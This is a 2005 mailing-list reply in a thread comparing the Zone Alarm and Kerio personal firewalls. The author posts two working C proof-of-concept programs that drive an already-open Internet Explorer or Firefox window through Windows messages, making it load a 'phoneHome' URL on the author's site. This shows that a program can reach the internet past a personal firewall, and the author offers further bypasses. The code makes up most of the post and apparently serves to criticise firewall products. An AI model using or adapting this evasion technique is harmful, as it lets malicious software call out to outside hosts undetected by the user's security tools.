Re: Zone Alarm vs Kerio

From: Volker Birk (bumens_at_dingens.org)
Date: 08/20/05

  • Next message: computer32_at_wefindfriends.com: "Firewalls and AOL" 
    Date: 20 Aug 2005 23:55:13 +0200

    Anonymous <Anonymous@nowhere.com> wrote:
    > > http://www.dingens.org/breakout-mozilla-firefox.c
    > What's supposed to happen when I go to this URL ???

    You'll see C source code for a POC, how to communicate outside in spite
    of any "Personal Firewall". This POC requires, that the browser is already
    running.

    If you believe, that this is a problem, I will post a POC, how to start
    the browser without having problems with a "Personal Firewall", too.

    First the Internet Explorer version:

    --------------------------- snip ------------------------------------------
    #include <windows.h>

    int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine,
     int nCmdShow)
    {
     HWND ie = FindWindowEx(NULL, NULL, "IEFrame", NULL);
     HWND wrk, tb, cbx, cb, url;

     if (ie == NULL) {
      MessageBox(NULL, "Please open an Internet Explorer window, or"
       "I will goin' to open one myself ;-)",
       "Oooh!", MB_OK | MB_ICONEXCLAMATION);

      return 0;
     }

     wrk = FindWindowEx(ie, NULL, "WorkerW", NULL);
     tb = FindWindowEx(wrk, NULL, "ReBarWindow32", NULL);
     cbx = FindWindowEx(tb, NULL, "ComboBoxEx32", NULL);
     cb = FindWindowEx(cbx, NULL, "ComboBox", NULL);
     url = FindWindowEx(cb, NULL, "Edit", NULL);

     SendMessage(url, WM_SETTEXT, NULL, "http://www.dingens.org/breakout.html");
     PostMessage(url, WM_SETFOCUS, 0, 0);
     PostMessage(url, WM_KEYDOWN, VK_RETURN, 0);
     return 0;
    }
    --------------------------- snap ------------------------------------------

    and here the Mozilla Firefox version:

    --------------------------- snip ------------------------------------------
    #include <windows.h>

    const char *phoneHome = "http://www.dingens.org/breakout.html";

    int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine,
            int nCmdShow)
    {
            HWND browser = FindWindowEx(NULL, NULL, "MozillaWindowClass", NULL);
            HWND wnd = FindWindowEx(browser, NULL, "MozillaWindowClass", NULL);
            int i;

            SetForegroundWindow(wnd);

            PostMessage(wnd, WM_CHAR, (WPARAM) 9, 0);

            for (i=0; i<strlen(phoneHome); i++)
                    PostMessage(wnd, WM_CHAR, (WPARAM) phoneHome[i], NULL);

            PostMessage(wnd, WM_KEYDOWN, (WPARAM) VK_RETURN, NULL);

            return 0;
    }
    --------------------------- snap ------------------------------------------

    Believe me, this is only the simplest of hundreds of possibilities to
    do tunneling. I just tried it first, because it's so easy.

    Every "Personal Firewall" screwed up already with such simple tricks.

    Yours,
    VB. 

    -- 
"Es kann nicht sein, dass die Frustrierten in Rom bestimmen, was in
deutschen Schlafzimmern passiert".
                                    Harald Schmidt zum "Weltjugendtag"
  • Next message: computer32_at_wefindfriends.com: "Firewalls and AOL"

    Relevant Pages